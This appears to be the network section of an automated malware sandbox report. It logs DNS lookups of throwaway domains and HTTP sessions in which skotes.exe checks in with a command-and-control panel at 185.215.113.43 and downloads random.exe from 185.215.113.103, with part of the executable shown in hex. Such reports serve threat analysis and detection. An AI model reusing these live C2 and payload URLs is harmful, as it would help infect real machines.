Oct 18, 2024 15:05:04.854530096 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:06.678812981 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:06.678916931 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:10.294531107 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:10.294634104 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:17.729053974 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:17.729146957 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:32.311181068 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:32.311239004 CEST	50052	80	192.168.2.4	185.215.113.103

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2024 15:04:12.736877918 CEST	54579	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:12.765779018 CEST	53	54579	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:12.771233082 CEST	58049	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:12.794331074 CEST	53	58049	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:12.799438000 CEST	58875	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:12.820899010 CEST	53	58875	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:12.826900959 CEST	58232	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:12.844669104 CEST	53	58232	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:12.850987911 CEST	55382	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:12.878144979 CEST	53	55382	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:12.879749060 CEST	64331	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:12.919766903 CEST	53	64331	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:12.922653913 CEST	57941	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:12.952740908 CEST	53	57941	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:12.961949110 CEST	54334	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:12.973643064 CEST	53	54334	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:12.980819941 CEST	64278	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:12.989861012 CEST	53	64278	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:14.947838068 CEST	62198	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:14.985462904 CEST	53	62198	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:26.812591076 CEST	57439	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:26.887999058 CEST	53	57439	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:26.892322063 CEST	53008	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:26.902487993 CEST	53	53008	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:26.903697968 CEST	55608	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:26.914400101 CEST	53	55608	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:26.917218924 CEST	53913	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:26.927799940 CEST	53	53913	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:26.929378033 CEST	50684	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:26.939503908 CEST	53	50684	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:26.942369938 CEST	52126	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:26.951374054 CEST	53	52126	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:26.952913046 CEST	50775	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:26.963496923 CEST	53	50775	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:26.969763041 CEST	59545	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:26.978235960 CEST	53	59545	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:26.980631113 CEST	55108	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:26.988296986 CEST	53	55108	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:35.772697926 CEST	55499	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:35.782378912 CEST	53	55499	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:35.789282084 CEST	53787	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:35.799575090 CEST	53	53787	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:35.801289082 CEST	53570	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:35.810244083 CEST	53	53570	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:35.819276094 CEST	56496	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:35.829418898 CEST	53	56496	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:35.833012104 CEST	58144	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:35.843449116 CEST	53	58144	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:35.848321915 CEST	50607	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:35.857336044 CEST	53	50607	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:35.860282898 CEST	57625	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:35.873099089 CEST	53	57625	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:35.884577036 CEST	52039	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:35.894510984 CEST	53	52039	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:44.530893087 CEST	61897	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:44.541708946 CEST	53	61897	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:44.567182064 CEST	53917	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:44.576844931 CEST	53	53917	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:44.583277941 CEST	59869	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:44.592233896 CEST	53	59869	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:44.597383022 CEST	57965	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:44.606395006 CEST	53	57965	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:44.608990908 CEST	56772	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:44.618091106 CEST	53	56772	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:44.644138098 CEST	53116	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:44.653510094 CEST	53	53116	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:44.657609940 CEST	63648	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:44.676820993 CEST	53	63648	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:44.680356979 CEST	63891	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:44.689729929 CEST	53	63891	1.1.1.1	192.168.2.4
Oct 18, 2024 15:04:44.718130112 CEST	57785	53	192.168.2.4	1.1.1.1
Oct 18, 2024 15:04:44.726478100 CEST	53	57785	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 18, 2024 15:04:12.736877918 CEST	192.168.2.4	1.1.1.1	0xd21	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.771233082 CEST	192.168.2.4	1.1.1.1	0xfd6e	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.799438000 CEST	192.168.2.4	1.1.1.1	0xa5e2	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.826900959 CEST	192.168.2.4	1.1.1.1	0x88c5	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.850987911 CEST	192.168.2.4	1.1.1.1	0x14fa	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.879749060 CEST	192.168.2.4	1.1.1.1	0xceaf	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.922653913 CEST	192.168.2.4	1.1.1.1	0xb23	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.961949110 CEST	192.168.2.4	1.1.1.1	0x3e5c	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.980819941 CEST	192.168.2.4	1.1.1.1	0xab0d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:14.947838068 CEST	192.168.2.4	1.1.1.1	0xedc2	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.812591076 CEST	192.168.2.4	1.1.1.1	0x8c81	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.892322063 CEST	192.168.2.4	1.1.1.1	0x23e3	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.903697968 CEST	192.168.2.4	1.1.1.1	0x28bb	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.917218924 CEST	192.168.2.4	1.1.1.1	0xfd27	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.929378033 CEST	192.168.2.4	1.1.1.1	0x1aba	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.942369938 CEST	192.168.2.4	1.1.1.1	0x13	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.952913046 CEST	192.168.2.4	1.1.1.1	0x9dc4	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.969763041 CEST	192.168.2.4	1.1.1.1	0x450f	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.980631113 CEST	192.168.2.4	1.1.1.1	0x61b2	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.772697926 CEST	192.168.2.4	1.1.1.1	0x67f7	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.789282084 CEST	192.168.2.4	1.1.1.1	0xd824	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.801289082 CEST	192.168.2.4	1.1.1.1	0x5109	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.819276094 CEST	192.168.2.4	1.1.1.1	0xf67c	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.833012104 CEST	192.168.2.4	1.1.1.1	0x3eb1	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.848321915 CEST	192.168.2.4	1.1.1.1	0x9070	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.860282898 CEST	192.168.2.4	1.1.1.1	0x6321	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.884577036 CEST	192.168.2.4	1.1.1.1	0x4637	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.530893087 CEST	192.168.2.4	1.1.1.1	0xbf59	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.567182064 CEST	192.168.2.4	1.1.1.1	0xaebe	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.583277941 CEST	192.168.2.4	1.1.1.1	0x9d56	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.597383022 CEST	192.168.2.4	1.1.1.1	0x4147	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.608990908 CEST	192.168.2.4	1.1.1.1	0x66a5	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.644138098 CEST	192.168.2.4	1.1.1.1	0xe2fb	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.657609940 CEST	192.168.2.4	1.1.1.1	0xfce0	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.680356979 CEST	192.168.2.4	1.1.1.1	0xfac7	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.718130112 CEST	192.168.2.4	1.1.1.1	0xa8ad	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 18, 2024 15:04:12.765779018 CEST	1.1.1.1	192.168.2.4	0xd21	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.794331074 CEST	1.1.1.1	192.168.2.4	0xfd6e	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.820899010 CEST	1.1.1.1	192.168.2.4	0xa5e2	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.844669104 CEST	1.1.1.1	192.168.2.4	0x88c5	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.878144979 CEST	1.1.1.1	192.168.2.4	0x14fa	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.919766903 CEST	1.1.1.1	192.168.2.4	0xceaf	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.952740908 CEST	1.1.1.1	192.168.2.4	0xb23	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.973643064 CEST	1.1.1.1	192.168.2.4	0x3e5c	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:12.989861012 CEST	1.1.1.1	192.168.2.4	0xab0d	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:14.985462904 CEST	1.1.1.1	192.168.2.4	0xedc2	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:14.985462904 CEST	1.1.1.1	192.168.2.4	0xedc2	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.887999058 CEST	1.1.1.1	192.168.2.4	0x8c81	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.902487993 CEST	1.1.1.1	192.168.2.4	0x23e3	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.914400101 CEST	1.1.1.1	192.168.2.4	0x28bb	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.927799940 CEST	1.1.1.1	192.168.2.4	0xfd27	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.939503908 CEST	1.1.1.1	192.168.2.4	0x1aba	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.951374054 CEST	1.1.1.1	192.168.2.4	0x13	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.963496923 CEST	1.1.1.1	192.168.2.4	0x9dc4	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.978235960 CEST	1.1.1.1	192.168.2.4	0x450f	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:26.988296986 CEST	1.1.1.1	192.168.2.4	0x61b2	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.782378912 CEST	1.1.1.1	192.168.2.4	0x67f7	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.799575090 CEST	1.1.1.1	192.168.2.4	0xd824	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.810244083 CEST	1.1.1.1	192.168.2.4	0x5109	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.829418898 CEST	1.1.1.1	192.168.2.4	0xf67c	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.843449116 CEST	1.1.1.1	192.168.2.4	0x3eb1	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.857336044 CEST	1.1.1.1	192.168.2.4	0x9070	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.873099089 CEST	1.1.1.1	192.168.2.4	0x6321	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:35.894510984 CEST	1.1.1.1	192.168.2.4	0x4637	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.541708946 CEST	1.1.1.1	192.168.2.4	0xbf59	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.576844931 CEST	1.1.1.1	192.168.2.4	0xaebe	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.592233896 CEST	1.1.1.1	192.168.2.4	0x9d56	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.606395006 CEST	1.1.1.1	192.168.2.4	0x4147	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.618091106 CEST	1.1.1.1	192.168.2.4	0x66a5	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.653510094 CEST	1.1.1.1	192.168.2.4	0xe2fb	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.676820993 CEST	1.1.1.1	192.168.2.4	0xfce0	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.689729929 CEST	1.1.1.1	192.168.2.4	0xfac7	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:04:44.726478100 CEST	1.1.1.1	192.168.2.4	0xa8ad	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

sergei-esenin.com

185.215.113.43

185.215.113.103

185.215.113.37

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49782	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:04.252863884 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 18, 2024 15:04:05.215941906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49793	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:06.737993002 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 18, 2024 15:04:07.729924917 CEST	738	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 32 33 0d 0a 20 3c 63 3e 31 30 30 30 33 34 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 66 65 61 31 63 36 37 65 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 33 35 30 30 30 32 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 31 61 30 63 65 37 65 39 66 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 33 35 31 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 38 38 32 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 33 35 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 [TRUNCATED] Data Ascii: 223 <c>1000349001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4fea1c67edd534db057eb410a494d9d#1000350002+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#1000351031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8f8e6b1ca72dd534db057eb410a494d9d#1000357001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8e4f4b2846d934f48b15eaa495c49#1000361031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8e7e7b9ca30804042ba5ce902415450#1000401001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49799	185.215.113.103	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:07.741192102 CEST	56	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 18, 2024 15:04:08.741904974 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 18 Oct 2024 12:50:09 GMT ETag: "2d8200-624bfbe479d49" Accept-Ranges: bytes Content-Length: 2982400 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 00 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 31 00 00 04 00 00 a9 c1 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf1@01-@Wk ^@.rsrc n@.idata n@lfmcaccf**p@srlszley0\-@.taggant01"`-@
Oct 18, 2024 15:04:08.742362022 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:08.742376089 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:08.743910074 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:08.743921995 CEST	1236	IN	Data Raw: 9d d3 80 e3 26 7b 9b 6e 25 6b 90 6c f7 e7 71 66 64 9f d4 fc fa 28 48 15 5b a1 e2 cf e9 4c 5f 28 69 2a af 5b d9 7a 63 f6 57 67 5c a4 da ff 83 2d 02 30 5d e3 3e 6b 3f 74 60 58 62 a7 d9 4a ee 1e 08 66 c7 fa 02 32 5e 9a 14 2a df b6 68 5c 6c 56 dc 86 Data Ascii: &{n%klqfd(H[L_(i[zcWg\-0]>k?t`XbJf2^h\lV}@;=+'KC$wZo['djJHQvy``+,J:"\bSZ?OBpfWL]ARt_9_`~t]v/+F9V
Oct 18, 2024 15:04:08.745898962 CEST	1236	IN	Data Raw: 57 63 21 ba a7 2a b3 73 49 c9 8b f3 a2 97 4c 13 a9 a0 20 ec 97 cf 00 0f 91 19 26 cf e0 52 f6 a5 ef a3 dd 36 bb dd 2e 9d e4 62 37 bb e0 ed 02 cd 60 98 41 a6 27 2d c8 fd f3 25 6c cf 0f 2d 0b 87 c7 63 37 4f 4a 2a 30 e0 e8 d8 f0 ad c0 e1 6f 17 20 09 Data Ascii: Wc!sIL &R6.b7`A'-%l-c7OJ0o O)#B6;Kc{bPr28e$mr1>$n5zW"+`/Y9^C/#%m4d>3FmK$X8sk%/CG&MS[?pg?4]K}9#<
